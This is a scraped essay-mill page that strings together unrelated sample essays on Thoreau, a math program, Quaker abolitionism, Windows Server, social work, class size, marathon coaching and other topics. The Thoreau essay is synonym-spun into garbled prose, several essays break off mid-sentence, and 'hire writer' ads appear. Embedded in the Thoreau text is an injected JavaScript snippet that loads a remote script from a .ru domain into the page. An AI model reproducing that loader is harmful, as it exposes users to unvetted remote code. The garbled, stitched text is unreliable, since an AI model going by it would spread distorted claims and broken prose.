Henry David Thoreau And Self Reliance Essay free essay sample

, Research Paper Henry David Thoreau decided at a comparatively immature age to utilize his life as an experiment in self-cultivation. His optimistic positions on life and his goal-oriented life style is reflected in his composing. In Where I Lived, and What I Lived For, Thoreau writes about his grasp for his tatterdemalion small residence, which was merely a defence against the outer environmental elements. Though the air current blows through the house, he hears it as though it were a vocal from the Gods on Olympus. He recognizes his bad lucks, and is content with the manner things are. In a batch of ways, Thoreau reminds me of how I wish I could be, and how Ralph Waldo Emerson encourages the full human race to be. Thoreau focused his life around merely the indispensable things, and lived as though life was a contemplation of an inner religious world. Thoreau lived the manner he did, in hunt of what it truly is that work forces live for. We will write a custom essay sample on Henry David Thoreau And Self Reliance Essay or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Simplicity was his lone necessity. It is my apprehension that throughout American history, our writers and poets were typically philosophers who spent their lives in efforts to break the lives of others by suppressing that which affects us negatively. Thoreau was such a adult male. We do non sit on the railway ; it rides upon us. It is in this statement that Thoreau portrays that people as a society brand determinations, and we can either make up ones mind to sit and chew over the twenty-four hours off in efforts to do our lives better, or work off our lives. But if we do non acquire out leepers, and forge tracks, and give yearss and darks to work, but go puttering upon our lives to better them, who will construct the railwaies? / gt ; In decision, it is my understanding from researching Henry David Thoreau and many other American authors of his clip that he was much like the remainder ; he was the autonomous Nonconformist that Emerson urged all people to be. He secluded himself in order to research the deepnesss of human idea, character, and emotion. In his privacy, he was capable of act uponing mass sums of people, even to this twenty-four hours as his name is written in history books and text books across the state. Autonomy prompts the deep geographic expedition of oneself. It impulses you to understand the Godhead ego inside each of us, and present yourself from the false bonds that hold you accountable to who you pretend to or look to be. It is non the feeling of others, but instead the understatement of ourselves that causes us to sell ourselves abruptly of our full potency, by playing the portion of person higher or more recognized by society. Emerson reveals some of himself in his Hagiographas in order to give a portraiture of that which he is seeking to explicate. He encourages that in order to derive a true perceptual experience of who you are, you must seek deeply for an apprehension of whence you came ; your values, heritage, and traditions which formulate your being. In seems from scrutiny of Emerson s life, that he was an individualist. He appeared to be more content with analyzing the forms of human idea and emotion than to populate it for himself. Regardless, it is my position that Emerson was a superb adult male, specifying the word enlightened with legion transitions sing life, intertwined with spiritualty and nature. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

A Review of Think Through Math

A Review of Think Through Math Think Through Math (TTM) is an interactive online mathematics program designed for students in grades 3-Algebra I. It was created in its current form in 2012 and was a spin-off of the popular Apangea Math program. The program provides users with both direct instruction and remediation. Think Through Math was developed to prepare students for the Common Core State Standards and the rigorous assessments associated with the standards.   Students are enrolled in a unique pathway based on their grade level. Students are also given an adaptive assessment that prescribes precursor activities designed to build skills needed to achieve grade-level proficiency. These activities are added to the pathway. Each lesson in a pathway is divided into six unique skill-building components including a pre-quiz, warm up, focus, guided learning, practice, and a post-quiz. Students who demonstrate proficiency on the pre-quiz for a particular subtopic are able to move ahead. Think Through Math is a revolutionary program for student learning. It combines a unique blend of adaptive assessment, skill building, student motivation, and individualized live instruction. The entire program is geared to enhance classroom learning by filling gaps that a particular student may have and prepares them to meet the rigor of the Common Core State Standards. Key Components Think Through Math makes it simple to add a single student or a whole class by uploading a data template. It has terrific reporting that makes it easy to monitor individual student or whole class progress. It also has a terrific and easy to use interface making it easy for teachers and students to monitor usage, check performance, compare accomplishments, and check goals. Think Through Math allows and encourages students to access the program at home after school and on weekends to maximize the impact of the program. Think Through Math allows teachers to send messages to directly to individual students through the messaging system. Students are only able to receive these messages. They cannot send or respond. Instructional With Diagnostic Components Think Through Math provides both direct instruction and intensive remediation within the same program. It places each student in a â€Å"pathway† containing skills needed to be successful at a particular grade level. It also provides students with an initial adaptive assessment which assigns precursor activities designed to remediate the skills needed to do the required grade level work. Think Through Math continuously monitors and adapts to the individual, adding new material, based on performance throughout the program. Think Through Math Is Motivational Think Through Math allows users to create and personalize their own unique avatar. It provides continuous contests across multiple categories for terrific prizes such as an iPod touch, gift cards, etc. It also allows teachers to set classroom goals for a pizza party or ice cream party. Students can then donate their points towards that goal, and when the class reaches the goal, the teacher will receive a gift card to help purchase the goodies for the party. Think Through Math allows students to donate their points to charity. $10,000 points $1.00. Charities that they can donate to include St. Jude’s Children Hospital, World Wildlife Fund, Make-A-Wish Foundation, The Boys and Girls Club of America, The Wounded Warrior Project, Big Brothers Big Sisters of America, PACER’s National Bullying Prevention Center, and American Red Cross. The program provides users with incentives and rewards. Each time they complete an activity, they earn points. They can use their points to purchase new features for their avatar, donate points to a charity, or they can give points towards a goal their class is trying to achieve as discussed previously. Think Through Math provides users with badges for achieving goals or reaching for milestones within the program. There are four levels of badges including bronze (easiest), silver, gold, and diamond (hardest). Students can see both the badges they have earned and those they have not earned. They can then work towards earning badges they do not have. Think Through Math provides students will printable certificates each time they pass an individual topic. Think Through Math Is Comprehensive Think Through Math is Common Core aligned in content, process, and assessment that encourages critical thinking and problem-solving development. It provides students with access to a calculator, critical math formulas, and key mathematics vocabulary terms at any time within the program. Think Through Math has an audio tool available in both English and Spanish that allows questions and answer choices to be read to struggling readers or English Language Learners. Think Through Math gives students the opportunity to demonstrate mastery by taking a pre-quiz over a particular topic. A pre-quiz consists of eight questions. A student who demonstrates mastery on the pre-quiz will immediately move on to the next lesson. It provides students with a three question â€Å"Warm Up† activity designed to activate prior knowledge by reviewing the math skills you have already mastered, but that is essential to the new skill you will be learning. The program provides you with step by step illustrations and explanations for solving each problem no matter whether you get them correct or incorrect. Think Through Math provides students with a three question â€Å"Guided Learning† activity allowing you to work through the new math. It also provides students with multiple help features within the â€Å"Guided Learning† activity. This occurs through a learning coach. To receive help simply click on the learning coach at any time. If you have not answered the question, an explanation of the concept with visuals will pop up to help you. If you answer the questions incorrectly, an explanation of the concept will pop up. If you still do not understand, you may again click on your learning coach. A box will pop up asking you if you want to work with a teacher. Click â€Å"teacher† and you are able to connect to a live certified math teacher that will walk you through the process and answer any questions you have. If you have audio and a microphone, you can have a direct conversation with them. If you do not, then you can communicate with each other in a text chat. Think Through Math provides students with a ten question â€Å"Independent Practice† activity allowing them to practice what they learned and to use the feedback to understand the concept further. Think Through Math provides the student with an eight-question â€Å"Post-Quiz† activity allowing them to demonstrate their understanding of the new concept. Students are only given one attempt per question. If they fail, they will have to retake or remediate the concept. Key Reports An overview report allows you to monitor how many lessons each student has attempted and passed and gives you pass rate percentages for both target and precursor lessons, while a student detail report provides you with a detailed progress report for each individual student. An individual pathway report provides you with a detailed overview of the progress that an individual student is making on their individual pathway, while the standards report allows you to monitor student progress based on individual state standards or the Common Core State Standards. Cost Think Through Math does not publish their overall cost for the program. However, each subscription is sold as an annual subscription cost per seat. There are several other factors that will determine the final cost of the programming including the length of the subscription and how many seats you will be purchasing.  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Research Think Through Math is a research-based program. Its development spans over two decades. It is grounded on the foundation of helping students analyze and solve word problems effectively. This is done through the principles of active problem solving, explicit instruction, gradual release, elaboration theory, categorization of a prototype, mastery learning, a zone of proximal development, assessment and differentiation, and worked examples. In addition, Think Through Math has been the focus of several critical field studies involving more than 30,000 students across seven different states.

Quakers' Contribution in Anti-Slavery Movement Research Paper

Quakers' Contribution in Anti-Slavery Movement - Research Paper Example All thirteen of the colonies permitted slavery and did not allow slaves the basic freedoms outlined in the Declaration of Independence. Slaves in America had no freedom and were subject to the whims and demands of their masters. The Louisiana code stated that "A slave could not make contracts, own property, or form legal partnerships on his or her own" (Oakes xiv). Family relationships among slaves were not honored and as a result, there were no requirements that slave owners keep families intact. In fact, many times, children were taken from mothers and sold as soon as they were strong enough to work themselves. Husbands and fathers were sold without regard to the feelings of wives or children. The people who were most against slavery were those who were involved in organized religion. Quakers believed in ending slavery one slaveholder at a time. They sent letters, wrote to newspapers, authored pamphlets and almanacs, using any form of publication they could to decry the institution of slavery and encourage slave owners to free their slaves. Quakers outlined a method through which slaveholders would "first educate slaves in reading and writing, teach them the principles of truth and righteousness, teach them a trade, and then set them free" (Brown 6). While it cannot be argued that the Quakers, or Society of Friends, played a crucial role in the anti-slavery movement, in all likelihood the movement would have gone on and would have been successful without their influence. There were many people in antebellum America who were willing to make great personal sacrifices to see that there was eventual freedom for all Americans. These people spanned the races, religions and cultures of the time and were dedicated to the idea of freedom for all. Body The Quakers brought up the inappropriateness of slavery in the 1600s, thus bringing the issue to the forefront of many political and social debates. They began work against slavery and did not stop their work until the e nd of slavery in America. One distinct advantage that the Quakers had in their anti-slavery work was that they had an already established network of people willing to assist runaway slaves and those who had already been freed. Friends could meet in large, public groups to make plans regarding their abolitionist activities without fear of raising suspicion because that is what they had been doing prior to their involvement in the Underground Railroad and other abolitionist activities. Additionally, the Quakers involved in anti-slavery activities knew that they could trust their fellow Friends with their lives, which is what was at stake when they assisted runaway slaves to freedom. Before slaves began to receive help from Quakers, or anyone else, in their resistance movement, they had devised many ways to confront slavery. They discovered that violence was rarely a very successful method of resistance, as the slaveholders responded immediately and intensely. Instead, they used more s ubtle methods of resistance such as "work slowdowns, feigning illness, breaking tools, and sabotaging equipment under the guise of clumsiness" (Horton and Horton 120). Slaves also used song to fight slavery. These songs told stories of escape, sent encoded messages, set the pace for work and placated slave owners by giving the appearance of passivity and contentment. Running away was another form of

Windows server Research Paper Example | Topics and Well Written Essays - 2000 words

Windows server - Research Paper Example If the system will not be compatible with the hardware in place, there will be a need for new hardware (TechGrant, 2012). The crucial business aspects to be considered when upgrading to Server 2008 involves the cost to be incurred. The new Server will have to be bought, and for every computer installed with the server, their licences will have to be paid. In this respect, only the necessary computers should be installed with the new server. This aims at avoiding incurring unnecessary costs. Costs will increase in case of lack of compatibility between the new servers with the hardware. This will have the company digging deeper into their pockets for new hardware. The server happens to be used universally. As of 2009, 98% of of the Fortune Top 100 Companies use the server (Rist, 2011). This means that the company’s employees will not have a hard time adapting to it due to its popularity. The popularity arises from it being user friendly hence the quick adaptation. Additionally, companies looking to network to build a strong e-network platform will find it easier to do so in the Windows 2008 Server. The new Server will serve to improve the quality of service given. The virtual server can be moved from one physical host computer to another without consuming any downtime. The ability to do so saves a lot of time in the case of a computer crash. The company will find this to be a significant advantage since time happens to be just as essential. Windows Server 2008 conserves power usage more than any other Window Server. This will go a long way in lowering expenses such as power bills. Additionally, the consumption of less power means that the Server will have fewer breakdowns due to overheating. a. A minimum of 1 gigahertz processor (32 bit) and 1.4 gigahertz processor (64 bit). The recommended processor should be at least 2 gigahertz. For Itanium based systems, an Intel

U.S. based Healthcare Organization Case Study Example | Topics and Well Written Essays - 1000 words

U.S. based Healthcare Organization - Case Study Example long-term goals that are meant to help the people in the United States and in order to accomplish the objectives it has laid down various strategies that involve its staff and management in heading in the right direction. The United Healthcare Group is one of the leading health insurers that offer a diverse number of plans and services to individuals and group customers. This enables them to reach a wide variety of customers and their different types of needs. They are able to access services and doctors that offer high quality services that benefit their wants and needs. The United Healthcare Incorporation is ready and willing to address the healthcare needs of the citizens of the United States and has objectives aimed at efficiently benefiting them in the long term. It provides health benefits segments and plans and also Medicare, Medicaid and vision that I supplemental and dental options as well. This incorporation has come up with programs that include prevention and management of diseases such as diabetes and Hepatitis C (Holtzman, Glass, Averhoff 2012). This will prevent harmful diseases from being a crisis in the long term because they will be prevented and managed as early as now, for instanc e diabetes. It also provides a variety of cost effective managed care alternatives. These alternatives are aims at meeting the needs of organizations and fit into their budget. He broad network of contracted providers wishes to offer help to the people whether in groups, individuals or community as they also include a community plan. The community plan also has a Tenn Care Medicaid Plan that supports adults, pregnant women and children as well as the elderly and those with disabilities and meets income requirements. The United Healthcare Incorporation has various strategic plans that are aimed at promoting the incorporation’s network growth and ensuring that they continue offering the best of their services to their customers. The clients have the opportunity to

Define And Discuss Anti Oppressive Practice

Define And Discuss Anti Oppressive Practice Professionals get involved in peoples to protect then and promote social justice , yet oppress them for example, by making decisions for them or the structure of an organisation can oppress on individual. Oppression is: The central circle P represents the personal, psychological, practice and prejudice. Here we are considering the individuals thoughts, feelings and actions. The way in which each practitioner interacts with service user and the à ¢Ã¢â€š ¬Ã‚ ¦inflexibility of mind which stands in the way of fair and non-judgmental practice. The P level is embedded in the C level, as values and norms are internalised through socialisation. C refers to the cultural, sphere where people share à ¢Ã¢â€š ¬Ã‚ ¦ways of seeing, thinking and doing. Commonailties and consensus about right and wrong and conformity to shared norms are found here. Social inequalities are thus legitimated through culture. Our culture is supported by structures such as the economy, society and the nation state. The C level is immersed in the S level. Discrimination is part of the fabric of society. Socio-political and social divisions describe the à ¢Ã¢â€š ¬Ã‚ ¦interlocking patterns of power and influence (Thompson 1997). Therefore, at the P and C level we can see that anti oppression and values are interlinked. they are both socially constructed moral code that assist and control our actions within society; as social work practice recognises the complexity of interactions between human beings and their environment, it has drawn some of its knowledge from anti-oppressive practice and values in order to influence individual change. This knowledge helps the social worker to make informed judgements in addressing the inequalities and injustices that exist in society (Stanford 2005). Issues and risk factors from the case study. A referral form the Child and Adolescent Mental Health Service (CAMHS) was sent to the organistion on be half of David, requesting service from the Adult Community Mental Health Team (CMHT). David is 17 and half years old has got a history of mental health. Clinical depression (quotion) and self harm. and has been involved for 3 and half years with The Child and Adolescent Mental Health Service(CAMHS). His condition is medicated and he been taking this on a regular basis as well as receiving counseling. Due to his age his current Social worker his referred him to the Adult Community Mental Health Team. However, the CMHT made clear that David could receive service from the organisation as he not 18. This could have a negative effect on his condition. for example, it may further the risk of self-harm and potential risk of accidental suicide. According to (Rutter, 1995 and Steinberg, 2004) adolescent are particularly vulnerable to self- harm and suicide if they are already suffering fro m depression. Therefore, coping strategies such as counselling and the resources centres are important to his well-being. However, at the moment its not Cleary as to where David will receive support. according to the Menatl Health Act \he is sitll a child mental health Act Both organisation were in a dilemma as the both shifting to blame on his age however the Menatal Health Act points outin this case Daivd may need an independent person to speak out for him because the professional are able to support. I found this very demoralising and questioned the CAMHTS decision; had she thought about, the remaining mouths of his age, was this helping David to lead a fulfilling life like any other citizen and had she thought of any other ways to support David attend a resource centre without stopping him completely? I wondered whether the whole notion of working together, partnership professionalism, and commissioning meant anything at all to the both social workers. I thought that the CAMETS social worker decision based on a social model. This decision deprived to David to gain a resource that will enhance his well-being. For the reason, his complex needs where not being met. Since both organisations where not working in partnership. There are two types of partnership working, one working with the service user and the other working with other professionals as part of a multi-disciplinary approach. Coulshed Orme (2006:230) states Multi-disciplinary work or inter-agency work is carried out to ensure that a range of service is accessed to provide a holistic approach to meeting the needs of service user. In this case, I believe the CAMHT did not carry out a holistic approach clearly his/ her approach was to simply transfer David to the AMHT. As Thompson (2000) stress partnership working with service users involves working with clients, as opposed to making decisions for them. This view is also shared by Hatton (2008) and Trevithick (2000) who points out positive practice must involve service user if it is to achieve agre ed objectivesà ¢Ã¢â€š ¬Ã‚ ¦within this process, service user must be seen not only in terms of problems they bring, but as whole person and full citizens. Therefore, in partnership working, the service user is seen as the expert on themselves and therefore it is essential to involve them in all of the processes. Hatton(2008) goes on to say, if social work is to make a real impact on live of people like David it needs to develop a frame of reference which values, hears and works in partnership. This is in contrast to for example, the medical model, where the professional is regarded as the expert on the service and the service users health. redard of his he should fall ut of this frame referneces. in constarn with ths social modle as it is concerned with experience of vulnerable people at risk of oppression and social devaluation. The whole notion of working together and joined up thinking is now embedded in social work and social care discourses in the United Kingdom (DOH 1998, Payne 2000) Partnership working with other professionals is highly important in order for services to be delived well. The relationship between different agencies can sometimes be difficult as both parties are likely to operate on different levels. For example, referring to level S or Structural-organisation level of the PCS model in Davids case both professional where clashing or the case. Therefore, services are not co-ordination. This will have an effect at the C level or the professional-culture level. As Wilson (2008) highlights effective cooperation between different profession groups is possible but they is a range of difference between them; for instance, their goals, the nature and peace of their work. Therefore, professionals have different priorities, expectations, obligations and concerns, as this is the underlying message in the case of David as a result it is important that these are shared from the beginning to enable understanding. This then allows any issues to be dealt with in a positive and open manner (Thompson, 2000). In doing so, professionals should A, recognise and accept the need for partnership. b, develop clarity and realism of purpose. c, ensure commitment and own ship. d, develop and maintain trust, e, create clear and robust partnership arrangements. F, monitor, measure and learn.(Nuffield cited from class notes) According to the working together It is considered as high-quality practice when a service has partnership working with both the service user and other professionals. According to à ¢Ã¢â€š ¬Ã‚ ¦ Keeping clients informed and aware of any issues and changes in the situation empowers the client and provides autonomy. In order to work in partnership, it is important to keep communication channels open, by involving the service user and other professionals in decision making processes, for instance, in the case David the CAMHTS social worker should have communicated with the AMHTs social worker in advance about the transfer. Therefore, it would have been clear that the AMHT would not be able to take on Daivd, therefore, he/ she would have thought of an alternative such as commissioning service. Commissioning means that services a available so that identified needs can be met c and 0()This suggests that he/she was accountable to the supplier of the resources and the service user . This is supported by the GSCC code of practice as it requires social workers to be accountable for the quality of their work. In the case of David there was lack of commissioning and partnership the case was closed both social workers did not think about the next step. .. to carry out an assessment and plan therefore , Par tnership working promotes a jointed accountability for resolution of the condition, making sure that all parties consider that their contributions are important (Thompson, 2000). Plans must be supported on negotiated agreement and not on the prejudices or assumptions about clients feeling or thoughts. ,

Small Classrooms :: Education Teaching Essays

Small Classrooms One of the things that many teachers at Grace Dunn Middle School complain about is the large number of students they have in each class. Likewise, I face this situation in my classes; and since the start of observation there have been a few more additions, thereby making one class twenty-five in total. There are disadvantages for teachers and students in large classes; yet schools, especially in urban districts, still allow them. Although not all large class sizes signify poor academic and social performance, classes with students that are at-risk or classified cannot provide them with proper education and attention. However, in small classrooms, teachers have better management and use more interactive teaching approaches; and students perform academically higher and exhibit positive social skills. Thus, smaller class sizes with less than fifteen students provide a healthier learning environment than those with twenty or more. There are three major factors in smaller classes that allow teachers to better help students. Because of the reduction in class size, classroom management is easier and less time consuming. Smaller classes ensure that students have less of an opportunity to misbehave because teachers can monitor them more closely. Thus, teachers do not have to focus their class time on classroom management but rather on studentsf learning. Since student misbehavior is less problematic, smaller classes yield more time for teachers to develop their learning activities and concentrate on their teaching strategies (Handley 2). On the other hand, with larger classes, teachers spend less direct interaction with students and also tolerate more noises in their classes (Finn 22). For example, in my class of twenty-five, the task of handing out and collecting papers wastes time that can be used for instruction. Thus, classes often fall behind schedule because of these minor tasks that are time consuming . In addition, there are more direct interaction between the teacher and students. There is less competition between students for the teacherfs attention when there are fewer students in the class because with fewer students, the teacher can provide more attention for each student (Finn 18). Thus, teachers can create more student-oriented learning activities. For example, class discussions are more effective in smaller classrooms because students are more engaging and more likely to volunteer (Meier 109, Finn 18). In addition, individual students ask more questions because they are familiar with each other, and it also gives each student more time to speak (Handley 2).

Regular Assignment

One of his duties is to serve as the coach for runners who hope to complete the New York City Marathon. He himself has won several marathons and ultra-marathons runner race. Thus he is more acquainted about the roles and responsibilities of coach for the marathon runners. After the introduction of David, case study drives us through understandings of how the complete training period of 16 weeks is carried out by athletes and runners. Initial 8 weeks he found it easy to train the runners.He was pleased looking the progress of the runners and had little difficulty in his role as coach. Some questions started to come in his mind regarding how to help his runners to achieve their goal. His issues of concern seemed quite different from those that he had expected to hear from other runners he previously trained for Marathons. Thus he divided runners and their concerns Into following three different groups. The first group comprised of all basic questions with newly joined runners who never had previous experiences.They kept on asking basic questions such as what to eat a day before marathon race, how much to drink and what kind of shoes to wear. The second group comprised of runners who had previously ran for marathons but were concerned about the effects of Davit's raining on their running, wanted to know the running mileage related to their possible marathon finish time. In addition their concern was to know whether consuming carbon-loading would improve their performances during the marathon.The third group comprised of seasoned runners who mostly finished marathon in top 10 of their respective divisions. These group too had some concerns related to feeling flat and acted a bit moody and down about training. The most important concern they carried was whether Davit's coaching would help them in other races besides the New York City Marathon. Hint David should use the following leadership strategy to train/coach his runners. The first group needs David to make sure that the runners will be motivated if they feel competent.Runners kept on asking questions such as what to eat a day before marathon race, how much to drink and what kind of shoes to wear. I think He needs to motivate the runners, make a diet plan and answer their questions they have. But he should also take a note that not to instruct all of the runners in a single group. Based on runners abilities he should have different training sessions. Because may be the beginners (group ) would keep asking basic questions like which shoes to wear, what to eat in a session which might not be interest to groups 3.For them it would lead to boredom sessions of training and might remove interest from attending further sessions and from Marathon race too. So he should take note of all runners and based on knowledge should keep training. He could have taken information session where all questions and issues are addressed. The second group was concerned about the effects of Davit's training on thei r running mileage related to their possible marathon finish time and forts reward they would get in return after the marathon race.Running a marathon is a huge deal and if people are nervous or unsure they will ask a ton of questions. I think he should explain them the benefits they would get with the training. In addition he as a coach needs to be there for them and coach them to the finish line. He should reduce everyone's stress when most seems nervous. Reassure the second group that they are doing great. The third group concern was not focused on current marathon race as objective by his training, but wanted to know if the payoff for their work valuable.David can motivate each of these groups by tending to the group's needs. Answer the beginners' group questions, make a diet plan. A final criticism that can be made of path- goal theory concerns a practical outcome of the theory. Path-goal theory suggests that it is important for leaders to provide coaching, guidance, and directi on for subordinates, to help subordinates define and clarify goals, and to help subordinates around obstacles as they attempt to reach their goals. In effect, this approach treats leadership as a one way event. The leader affects the subordinate.

6 Reasons You Should Invest in Proofreading

6 Reasons You Should Invest in Proofreading 6 Reasons You Should Invest in Proofreading I was walking down the street the other day, when a man with a mad look in his eye approached me, shouting incoherently. â€Å"YOU’RE ONE OF ‘EM HECKIN’ PROOFREADERS, AIN’T YOU?† he bellowed, showering me with spittle. â€Å"Why yes, sir, I am,† I replied, â€Å"How can I help you?† â€Å"I DON’T NEED YOUR HELP!† he screamed, his face inches from my own, â€Å"WHAT GOOD HAS PROOFREADING EVER DONE NO-ONE?† Sighing wearily at the double negative, I took the shouting man aside and bought him a cup of coffee. I then explained the following points: 1.  Ã‚  Ã‚  Ã‚   Proofreading Can Boost Your Grades Many colleges award additional marks for good spelling and grammar (sometimes up to 10% of your overall grade). This can make a big difference over the academic year. More importantly, having your work proofread will make it easier to read, which can make your arguments clearer and more convincing. 2.  Ã‚  Ã‚  Ã‚   Automatic Spellcheckers are Unreliable The automatic spellchecker on your word processor is useful for catching basic errors, but it’s limited when it comes to proper nouns, technical terms, acronyms, homonyms and sentence structure (all things with which a proofreader can help you). 3.  Ã‚  Ã‚  Ã‚   The Tyranny of Deadlines Whether you’re at college or in the office, many of us have heavy workloads and deadlines to meet. Having a professional check your work will save you valuable time and effort, making sure that you never miss another deadline. 4.  Ã‚  Ã‚  Ã‚   Word Limits Part of proofreading is making sure your written work is concise and free from repetition. This is very helpful if you struggle to stay within the word limit on your assignments! 5.  Ã‚  Ã‚  Ã‚   Fresh, Expert Eyes Even the best writers struggle to proofread their own work, no matter their level of linguistic expertise. A professional proofreader, on the other hand, comes to your writing fresh, which makes it easier to spot small errors that might otherwise get missed. 6.  Ã‚  Ã‚  Ã‚   Mistakes in Promotional Material are Bad for Business Research has shown that poorly written promotional material can attract bad press and incur significant costs. For example, the publisher Penguin had to recall and destroy 7,000 copies of a cookbook that included a recipe demanding â€Å"salt and freshly ground black people† when it should have said â€Å"salt and freshly ground black pepper. Oops. That’s $20,000 dollars that could have been saved with good proofreading. Once we had finished our coffee, the previously furious man seemed much calmer. â€Å"Oh my,† he said, no longer expectorating, â€Å"I had no idea! My sincere apologies! From now on, I will always have my written work checked by a professional!† And with that he left, leaving me sat alone in the coffee shop, despairing over a misplaced apostrophe in the menu.

Think You Know What to Do Youve Already Lost the Game.

Think You Know What to Do Youve Already Lost the Game. My salsa partner raises his left hand. I wonder, what does it mean? Does he want me to do a right turn? Or turn in another direction? Will he drop his hand over my head for a neck drop? Is there some other option I haven’t thought of? As soon as I start asking these questions, I’ve pretty much lost the game. The game is to feel what there is to do. As one of my teachers coached, â€Å"Where I feel, I go.† If only it were so easy. My brain thinks it knows what my partner is going to do. When I first started dancing, a raised hand always meant a right turn. But now there are more options, and my brain’s predictions get me into trouble. My job is to stop anticipating and go with what is happening in the moment. Predicting the future can get us into trouble in our careers and in business as well. Especially because we’re often wrong. Example #1: Annual Reviews (or Where Our Brains Take Us) I have a friend with a past history of getting fired from several jobs. He has now been with the same organization for six years and has gotten bonuses and raises at most of his annual reviews. Nevertheless, this year, when his annual review came up, his â€Å"stinking thinking† told him that some challenging dynamics with his new supervisor would lead to his getting fired. There really was no possibility of his losing his job. But thoughts of getting fired are his brain’s right turn. He goes to those thoughts even when he has not been led there. We all have these â€Å"go-to† thoughts, and they are probably the hardest thing to control, especially after we have trained ourselves so well to think them! But changing these thoughts is probably the most impactful move we can make on the career â€Å"dance floor.† If we can wait for real information and direction before defaulting to our patterned thinking, we can avoid a lot of internal, and external, struggle. Example #2: Client Request I had a client (I’ll call him Tom) sent to me by a larger organization. A representative of that organization (I’ll call her Liz) called to say that Tom wanted a different format and tone in his resume. This was one of our early projects for the organization, before we had hit our stride and started consistently producing the type of executive resumes their clients love. My first instinct was to train the initial writer who worked with Tom on the formats and style that the client wants. But I did not know whether Tom would be open to that. The â€Å"lead’s† hand was raised – but was this a signal to turn? I asked Liz to connect with Tom and got further information that indicated we needed to change direction. A new writer was able to deliver exactly what Tom wanted. I took Liz’s direction and created a win for everyone involved. Example #3: Automation and Innovation It used to be that when you had to fill an order, you got a human to find the item and put it in a box. It used to be that when you wanted to get a shipment delivered, you had an employee get in a truck and drive it there. These things are changing. The companies that resist the true direction that things are going are not going to survive. Just because you’ve always done something the way you knew to do it doesn’t mean it’s going to keep working, or that the market wants you to do it that way, this time. And just because there’s an option to automate something does not mean it will be the most efficient or the best way. The lead’s hand is raised†¦ but wait before you turn. What if You’re the Boss? As a supervisor or business owner, our job is to do the best we can to provide clear direction so that those who follow us don’t get the wrong idea – and so that they feel like we are partnering with them fully. It helps to remember that we are followers too – of our clients and customers. If we can all manage ourselves in our respective roles, we can truly wow people on the dance floor! How do you see these principles of â€Å"lead† and â€Å"follow† playing out in your career or business? Please share below! Save Save

The organizational role of the safety professional Article

The organizational role of the safety professional - Article Example For this to be possible, the professional evaluates any existing safety measurers’ failure of which he introduces safety requirements into the organization. The safety professional also has the responsibility of checking out for any situations, which may compromise the safety standards within the organization. This should begin with setting up of a safety plan, which guides the employees on how to work without placing their lives and those of colleagues in danger (Walter, 2011). The safety professional also has the role of advising the management of an organization about the measurements to put in place for employees to have a safe environment for working. This takes aspects like advising the management on the importance of having a safety initiative in the organization. It is through the efforts of the safety professional that safety response plan, safety management plan and a safety protection plan can be designed for the best benefit of employees and the organization (Safety Leadership, 2011). The safety professional is also the one in charge of organizing safety trainings for employees. This is essential because employees are the ones most affected by poor working conditions. On some occasions, employees can never determine whether their actions are safe or not, and guidance helps them in knowing the right path of action (Safety Leadership, 2011). Through safety trainings, the safety professional takes employees through safety processes, which protect them within the organization as they carry out their duties. Still on training of the employees, the safety professional designs a safety curriculum suitable for the company depending on the industry. It also remains under the jurisdiction of the safety professional to review the safety plan for the organization on regular intervals. These can be followed up by conducting review trainings for employees, so they can have adequate skills on how to keep

What makes a great leader in the public sector Essay

What makes a great leader in the public sector - Essay Example This paper focuses on the aspects as well as the attributes that distinguishes a great leader from other sorts of leaders. Leadership can be either formal or informal but both involve getting things done. However, the two leaderships apply different strategies to ensure the set goals are met. Formal leadership relies on ones position in an organization and involves using the mandate apportioned to get things done. Informal leadership on the other hand involves an individual volunteering to offer services or under requisition from those who approve of their leading potential (Shafritz and Russell 371). In this leadership, the leaders apply their charisma to win over people after which they are able to influence them to do things. Whether formal or informal, the task of a leader is to form, preserve, and improve a grouping of people such that they are in a position to realize their goals. Excellent leaders are those who can equally employ both formal and informal leadership. Such leaders are capable of mobilising people as well as exercising prescribed authority if in management positions (Shafritz and Ru ssell 372). A good example of a great leader who will forever remain in the minds of many is President Franklin Roosevelt. Even after contracting polio, Roosevelt retained his great capabilities such that he was able to lead America through the Great Depression of 1930 as well triumph in the Second World War. This is because he had the competence of both a leader and was good in management. He was intelligent, focused, and concerned more on the results other than the exact mean of attaining them. It was out of his desire to give the best even in his health condition that he committed himself to establishing policies that enabled the victory of capitalism (Shafritz and Russell 371). There are a number of different sources of power. Expert power is one where the leader is recognized as being competent in a certain speciality. Legitimate power is based on